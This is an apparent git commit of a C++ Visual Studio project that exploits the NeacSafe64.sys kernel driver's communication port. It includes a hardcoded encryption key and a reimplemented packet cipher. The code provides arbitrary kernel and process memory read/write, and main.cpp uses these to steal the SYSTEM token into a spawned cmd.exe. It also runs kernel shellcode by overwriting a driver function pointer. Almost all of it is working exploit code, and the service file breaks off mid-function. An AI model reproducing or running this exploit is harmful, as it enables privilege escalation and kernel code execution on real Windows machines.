Initial Upload

This commit is contained in:
za233
2025-04-02 19:26:11 +08:00
parent 169c909115
commit 9ce40e7cac
26 changed files with 1219 additions and 0 deletions
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32802.440
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NeacController", "NeacController\NeacController.vcxproj", "{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.ActiveCfg = Debug|x64
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.Build.0 = Debug|x64
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.ActiveCfg = Debug|Win32
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.Build.0 = Debug|Win32
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.ActiveCfg = Release|x64
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.Build.0 = Release|x64
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.ActiveCfg = Release|Win32
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {52461444-2090-44F8-A40C-24A3272C5F1D}
EndGlobalSection
EndGlobal
+155
View File
@@ -0,0 +1,155 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{cbeb2e8a-2dd1-4012-ac5b-80b2f2e14432}</ProjectGuid>
<RootNamespace>NeacController</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>fltlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="controller.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="service.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="controller.h" />
<ClInclude Include="service.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,36 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="controller.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="service.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="controller.h">
<Filter>源文件</Filter>
</ClInclude>
<ClInclude Include="service.h">
<Filter>源文件</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+332
View File
@@ -0,0 +1,332 @@
#pragma once
#include"controller.h"
#pragma pack(1)
struct NEAC_FILTER_CONNECT {
DWORD Magic;
DWORD Version;
BYTE EncKey[32];
};
#pragma pack()
BYTE Key[33] = "FuckKeenFuckKeenFuckKeenFuckKeen";
unsigned char enc_imm[] =
{
0x7A, 0x54, 0xE5, 0x41, 0x8B, 0xDB, 0xB0, 0x55, 0x7A, 0xBD,
0x01, 0xBD, 0x1A, 0x7F, 0x9E, 0x17
};
void encrypt(unsigned int *buffer, unsigned int idx)
{
__m128i v2; // xmm0
unsigned int *result; // rax
int v4; // r9d
__m128i v5; // xmm0
__m128i v8; // [rsp+20h] [rbp-18h] BYREF
__m128i imm = _mm_load_si128((__m128i*)enc_imm);
__m128i zero;
memset(&zero, 0 ,sizeof(__m128i));
v2 = _mm_cvtsi32_si128(idx);
result = &v8.m128i_u32[3];
v8 = _mm_xor_si128(
_mm_shuffle_epi32(_mm_shufflelo_epi16(_mm_unpacklo_epi8(v2, v2), 0), 0),
imm);
v4 = 0;
v5 = _mm_cvtsi32_si128(0x4070E1Fu);
do
{
__m128i v6 = _mm_shufflelo_epi16(_mm_unpacklo_epi8(_mm_or_si128(_mm_cvtsi32_si128(*result), v5), zero), 27);
v6 = _mm_packus_epi16(v6, v6);
*buffer = (*buffer ^ ~idx) ^ v6.m128i_u32[0] ^ idx;
++buffer;
result = (unsigned int *)((char *)result - 1);
v4++;
}
while ( v4 < 4 );
return;
}
void encode_payload(PBYTE key, PBYTE buffer, SIZE_T size) {
for(int i = 0; i < size; i++) {
buffer[i] ^= key[i & 31];
}
unsigned int* ptr = (unsigned int*)buffer;
unsigned int v12 = 0;
do
{
encrypt(ptr, v12++);
ptr += 4;
}
while ( v12 < size >> 4 );
}
HANDLE connect_driver() {
NEAC_FILTER_CONNECT lpContext;
lpContext.Magic = 0x4655434B;
lpContext.Version = 8;
memcpy(lpContext.EncKey, Key, 32);
HANDLE hPort;
HRESULT hResult = FilterConnectCommunicationPort(L"\\OWNeacSafePort",
FLT_PORT_FLAG_SYNC_HANDLE,
&lpContext,
40,
NULL,
&hPort
);
if(hResult != S_OK || hPort == INVALID_HANDLE_VALUE) {
return INVALID_HANDLE_VALUE;
}
return hPort;
}
#pragma pack(1)
struct GET_PROC_BASE_PACKET {
BYTE Opcode;
DWORD Pid;
};
#pragma pack()
PVOID get_proc_base(HANDLE hPort, DWORD Pid) {
const int buffersize = (sizeof(GET_PROC_BASE_PACKET) / 16 + 1) * 16;
BYTE buffer[buffersize];
GET_PROC_BASE_PACKET *ptr = (GET_PROC_BASE_PACKET *)buffer;
ptr->Pid = Pid;
ptr->Opcode = 32;
encode_payload(Key, buffer, 16);
BYTE result[16];
DWORD out;
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, result, 16, &out);
if(hResult == S_OK) {
PVOID *data = (PVOID*)result;
return *data;
}
return NULL;
}
#pragma pack(1)
struct READ_MEMORY_PACKET {
BYTE Opcode;
DWORD Pid;
PVOID Addr;
DWORD Size;
};
#pragma pack()
DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out) {
const int buffersize = (sizeof(READ_MEMORY_PACKET) / 16 + 1) * 16;
BYTE buffer[buffersize];
READ_MEMORY_PACKET *ptr = (READ_MEMORY_PACKET *)buffer;
ptr->Pid = Pid;
ptr->Opcode = 9;
ptr->Addr = Addr;
ptr->Size = Size;
encode_payload(Key, buffer, buffersize);
DWORD out_size;
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size);
if(hResult == S_OK) {
return out_size;
}
return 0;
}
#pragma pack(1)
struct WRITE_MEMORY_PACKET {
BYTE Opcode;
DWORD Pid;
PVOID Addr;
DWORD Size;
};
#pragma pack()
DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In) {
const int buffersize = (sizeof(WRITE_MEMORY_PACKET) / 16 + 1) * 16;
BYTE buffer[buffersize];
WRITE_MEMORY_PACKET *ptr = (WRITE_MEMORY_PACKET *)buffer;
ptr->Pid = Pid;
ptr->Opcode = 61;
ptr->Addr = Addr;
ptr->Size = Size;
encode_payload(Key, buffer, buffersize);
DWORD out_size;
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, In, Size, &out_size);
if(hResult == S_OK) {
return out_size;
}
return 0;
}
#pragma pack(1)
struct PROTECT_MEMORY_PACKET {
BYTE Opcode;
DWORD Pid;
PVOID Addr;
DWORD Size;
DWORD NewProtect;
};
#pragma pack()
BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect) {
const int buffersize = (sizeof(PROTECT_MEMORY_PACKET) / 16 + 1) * 16;
BYTE buffer[buffersize];
PROTECT_MEMORY_PACKET *ptr = (PROTECT_MEMORY_PACKET *)buffer;
ptr->Pid = Pid;
ptr->Opcode = 60;
ptr->Addr = Addr;
ptr->Size = Size;
ptr->NewProtect = NewProtect;
encode_payload(Key, buffer, buffersize);
DWORD out_size;
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
if(hResult == S_OK) {
return TRUE;
}
return FALSE;
}
#pragma pack(1)
struct START_WATCH_PACKET {
BYTE Opcode;
BYTE FunctionId;
BYTE State;
};
#pragma pack()
BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State) {
const int buffersize = (sizeof(START_WATCH_PACKET) / 16 + 1) * 16;
BYTE buffer[buffersize];
START_WATCH_PACKET *ptr = (START_WATCH_PACKET *)buffer;
ptr->Opcode = 1;
ptr->FunctionId = FunctionId;
ptr->State = State;
encode_payload(Key, buffer, buffersize);
DWORD out_size;
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
if(hResult == S_OK) {
return TRUE;
}
return FALSE;
}
#pragma pack(1)
struct KERNEL_WRITE_PACKET {
BYTE Opcode;
PVOID Dst;
PVOID Src;
DWORD Size;
};
#pragma pack()
BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) {
const int buffersize = (sizeof(KERNEL_WRITE_PACKET) / 16 + 1) * 16;
BYTE buffer[buffersize];
KERNEL_WRITE_PACKET *ptr = (KERNEL_WRITE_PACKET *)buffer;
ptr->Opcode = 70;
ptr->Dst = Dst;
ptr->Src = Src;
ptr->Size = Size;
encode_payload(Key, buffer, buffersize);
DWORD out_size;
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
if(hResult == S_OK) {
return TRUE;
}
return FALSE;
}
#pragma pack(1)
struct KERNEL_READ_PACKET {
BYTE Opcode;
PVOID Src;
DWORD Size;
};
#pragma pack()
BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) {
const int buffersize = (sizeof(KERNEL_READ_PACKET) / 16 + 1) * 16;
BYTE buffer[buffersize];
KERNEL_READ_PACKET *ptr = (KERNEL_READ_PACKET *)buffer;
ptr->Opcode = 14;
ptr->Src = Src;
ptr->Size = Size;
encode_payload(Key, buffer, buffersize);
DWORD out_size;
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Dst, Size, &out_size);
if(hResult == S_OK) {
return TRUE;
}
return FALSE;
}
#pragma pack(1)
struct KILL_PROCESS_PACKET {
BYTE Opcode;
DWORD Pid;
};
#pragma pack()
BOOL kill_process(HANDLE hPort, DWORD Pid) {
const int buffersize = (sizeof(KILL_PROCESS_PACKET) / 16 + 1) * 16;
BYTE buffer[buffersize];
KILL_PROCESS_PACKET *ptr = (KILL_PROCESS_PACKET *)buffer;
ptr->Opcode = 20;
ptr->Pid = Pid;
encode_payload(Key, buffer, buffersize);
DWORD out_size;
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
if(hResult == S_OK) {
return TRUE;
}
return FALSE;
}
#pragma pack(1)
struct GET_SSDT_PACKET {
BYTE Opcode;
};
#pragma pack()
BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size) {
const int buffersize = (sizeof(GET_SSDT_PACKET) / 16 + 1) * 16;
BYTE buffer[buffersize];
GET_SSDT_PACKET *ptr = (GET_SSDT_PACKET *)buffer;
ptr->Opcode = 12;
encode_payload(Key, buffer, buffersize);
DWORD out_size;
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size);
if(hResult == S_OK) {
return TRUE;
}
return FALSE;
}
#pragma pack(1)
struct NOTIFY_MESSAGE_BASE {
FILTER_MESSAGE_HEADER Header;
BYTE NotifyType;
DWORD MessageSize;
DWORD64 Time;
};
struct PROCESS_NOTIFY_MESSAGE : NOTIFY_MESSAGE_BASE {
DWORD64 Counter;
BYTE Flag;
BYTE CreateFlag;
DWORD CurrentPid;
DWORD CurrentTid;
DWORD ParentPid;
BYTE Padding[13];
WCHAR ProcName1[512];
WCHAR ProcName2[512];
PVOID BackTrace[32];
};
#pragma pack()
+24
View File
@@ -0,0 +1,24 @@
#pragma once
#include<Windows.h>
#include<fltuser.h>
#include<emmintrin.h>
#include<winnt.h>
HANDLE connect_driver();
PVOID get_proc_base(HANDLE hPort, DWORD Pid);
DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out);
DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In);
BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect);
BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State);
BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size);
BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size);
BOOL kill_process(HANDLE hPort, DWORD Pid);
BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size);
+252
View File
@@ -0,0 +1,252 @@
// NeacController.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include<windows.h>
#include"controller.h"
#include"service.h"
DWORD parse_export_rva(const BYTE* moduleBase, const char* funcName) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew);
IMAGE_DATA_DIRECTORY exportDirEntry = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDirEntry.VirtualAddress == 0) return 0;
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + exportDirEntry.VirtualAddress);
DWORD* nameRvas = (DWORD*)(moduleBase + exportDir->AddressOfNames);
WORD* ordinals = (WORD*)(moduleBase + exportDir->AddressOfNameOrdinals);
DWORD* funcRvas = (DWORD*)(moduleBase + exportDir->AddressOfFunctions);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
const char* name = (const char*)(moduleBase + nameRvas[i]);
if (_stricmp(name, funcName) == 0) {
WORD ordinal = ordinals[i];
return funcRvas[ordinal];
}
}
return 0;
}
DWORD get_export_rva(const char *funcName) {
char system32Path[MAX_PATH];
GetSystemDirectoryA(system32Path, MAX_PATH);
std::string kernelPath = std::string(system32Path) + "\\ntoskrnl.exe";
HANDLE hFile = CreateFileA(kernelPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
HANDLE hMapping = CreateFileMapping(
hFile,
NULL,
SEC_IMAGE | PAGE_READONLY,
0, 0,
NULL
);;
if (!hMapping) {
CloseHandle(hFile);
return NULL;
}
const BYTE* fileBase = (const BYTE*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!fileBase) {
CloseHandle(hMapping);
CloseHandle(hFile);
return NULL;
}
DWORD rva = parse_export_rva(fileBase, funcName);
UnmapViewOfFile(fileBase);
CloseHandle(hMapping);
CloseHandle(hFile);
return rva;
}
PVOID SSDT_Items[0x1000];
HANDLE hPort;
PVOID find_krnl_images(PVOID PsLoadedModuleList, const wchar_t* name) {
PVOID Ptr;
kernel_read_data(hPort, &Ptr, PsLoadedModuleList, 8);
WCHAR ModuleName[260] = {0};
while(Ptr != PsLoadedModuleList) {
memset(ModuleName, 0, sizeof(ModuleName));
PVOID DllBase;
kernel_read_data(hPort, &DllBase, (PBYTE)Ptr + 0x30, 8);
USHORT NameSize;
kernel_read_data(hPort, &NameSize, (PBYTE)Ptr + 0x58, 2);
PVOID NameAddr;
kernel_read_data(hPort, &NameAddr, (PBYTE)Ptr + 0x60, 8);
kernel_read_data(hPort, &ModuleName, NameAddr, NameSize);
if(!lstrcmpW(ModuleName, name)) {
return DllBase;
}
kernel_read_data(hPort, &Ptr, Ptr, 8);
}
return NULL;
}
BOOL execute_shellcode(PVOID NeacSafe64Base, BYTE *Shellcode, DWORD Size) {
if(Size > 0x10000) {
return FALSE;
}
PVOID MemPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x2165C0);
PVOID NonPagedPool;
// try to get the address of NonPagedPool buffer in NeacSafe64.sys.
if(!kernel_read_data(hPort, &NonPagedPool, MemPtrAddr, 8)) {
return FALSE;
}
// write shellcodes to the buffer
if(!kernel_write_data(hPort, NonPagedPool, Shellcode, Size)) {
return FALSE;
}
// change the function pointer(NtProtectVirtualMemory) to NonPagedPool buffer.
PVOID FuncPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x219EA0);
if(!kernel_write_data(hPort, FuncPtrAddr, &NonPagedPool, 8)) {
return FALSE;
}
// call the function pointer and execute the shellcode.
protect_memory(hPort, GetCurrentProcessId(), GetModuleHandle(NULL), 16, 0);
return TRUE;
}
void privileges_escalation(PVOID KrnlBase) {
DWORD va = get_export_rva("PsInitialSystemProcess");
if(va == NULL) {
return;
}
PVOID PsInitialSystemProcess = (PVOID)((PBYTE)KrnlBase + va);
PVOID PsInitialSystemProcessEPROCESS;
if(!kernel_read_data(hPort, &PsInitialSystemProcessEPROCESS, PsInitialSystemProcess, 8)) {
printf("[!] fail to get PsInitialSystemProcess EPROCESS...\n");
return;
}
printf("[+] PsInitialSystemProcess EPROCESS: %p\n", PsInitialSystemProcessEPROCESS);
// These tokens will need updating if you are on a different version of Windows!
// The offsets can be found here: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/ps/eprocess/index.htm
uintptr_t TokenOffset = 0x04B8; // Windows 10 21H2+ and Windows 11 only
uintptr_t PIDOffset = 0x0440; // Windows 10 21H2+ and Windows 11 only
uintptr_t ActiveProcessLinksOffset = 0x0448; // Windows 10 21H2+ and Windows 11 only
PVOID SystemToken;
if(!kernel_read_data(hPort, &SystemToken, (PBYTE)PsInitialSystemProcessEPROCESS + TokenOffset, 8)) {
printf("[!] fail to get SystemToken.\n");
return;
}
printf("[+] SystemToken: %p\n", SystemToken);
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi;
CreateProcessA(
"C:\\Windows\\system32\\cmd.exe",
nullptr,
nullptr,
nullptr,
TRUE,
CREATE_NEW_CONSOLE,
nullptr,
"C:\\Windows",
&si,
&pi
);
DWORD OurShellPID = pi.dwProcessId;
LIST_ENTRY activeProcessLinkList;
uint64_t NextProcessEPROCESSBlock = (uint64_t)PsInitialSystemProcessEPROCESS;
if(!kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)PsInitialSystemProcessEPROCESS + ActiveProcessLinksOffset, sizeof(LIST_ENTRY))) {
printf("[!] fail to get ActiveProcessLinks\n");
return;
}
// You can fetch every single process' EPROCESS block from this original Kernel list, we iterate through it till we find our shell's PID.
while (true) {
DWORD processPID;
NextProcessEPROCESSBlock = (uint64_t) activeProcessLinkList.Flink - ActiveProcessLinksOffset;
// Fetch PID and compare it
if(!kernel_read_data(hPort, &processPID, (PBYTE)NextProcessEPROCESSBlock + PIDOffset, 4)) {
printf("[!] fail to read memory\n");
return;
}
if (processPID == OurShellPID) {
PVOID OurShellsToken;
if(!kernel_read_data(hPort, &OurShellsToken, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, 8)) {
printf("[!] fail to read Token..\n");
return;
}
printf("[+] Token: %p\n", OurShellsToken);
if(!kernel_write_data(hPort, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, &SystemToken, 8)) {
printf("[!] fail to write Token..\n");
return;
}
printf("[+] Success...");
break;
}
// go to next process' EPROCESS.
kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)NextProcessEPROCESSBlock + ActiveProcessLinksOffset, sizeof(LIST_ENTRY));
}
}
int main()
{
start_driver();
hPort = connect_driver();
if(hPort == INVALID_HANDLE_VALUE) {
printf("[!] fail to connect to driver\n");
}
get_ssdt_items(hPort, SSDT_Items, sizeof(SSDT_Items));
DWORD rva = get_export_rva("NtWaitForSingleObject");
if(rva == 0) {
printf("[!] fail to get the rva of NtWaitForSingleObject\n");
return 0;
}
if(SSDT_Items[4] == 0) {
printf("[!] fail to get the address of NtWaitForSingleObject\n");
return 0;
}
PVOID KrnlBase = (PVOID)((PBYTE)SSDT_Items[4] - rva);
// calcuating the kernel module base.
printf("[+] kernel module base address: %p\n", KrnlBase);
rva = get_export_rva("PsLoadedModuleList");
if(rva == 0) {
printf("[!] fail to get the rva of PsLoadedModuleList\n");
return 0;
}
PVOID PsLoadedModuleList = (PVOID)((PBYTE)KrnlBase + rva);
PVOID NeacSafe64Base = find_krnl_images(PsLoadedModuleList, L"NeacSafe64.sys");
if(!NeacSafe64Base) {
printf("[!] fail to get the module base address of NeacSafe64.sys\n");
return 0;
}
printf("[+] NeacSafe64.sys module base address: %p\n", NeacSafe64Base);
// test Escalation of Privileges
privileges_escalation(KrnlBase);
// test Code Execution
BYTE Shellcode[2] = {0xC3, 0xCC}; // execute shellcode: ret, nothing will happen.
execute_shellcode(NeacSafe64Base, Shellcode, 2);
/*
BYTE Shellcode[2] = {0xCC, 0xCC}; // execute shellcode: int 3, this will cause BSOD.
execute_shellcode(NeacSafe64Base, Shellcode, 2);
*/
getchar();
CloseHandle(hPort);
stop_driver();
return 0;
}
+140
View File
@@ -0,0 +1,140 @@
#include"service.h"
#include<cstdio>
int start_driver() {
const wchar_t* SERVICE_NAME = L"NeacSafe64";
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE);
if (!scm) {
printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError());
return 1;
}
SC_HANDLE service = OpenService(
scm,
SERVICE_NAME,
SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP
);
if (!service) {
DWORD err = GetLastError();
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
printf("[!] service not exist\n");
} else {
printf("[!] OpenService failed (Error: %d)\n", err);
}
CloseServiceHandle(scm);
return 1;
}
SERVICE_STATUS_PROCESS status;
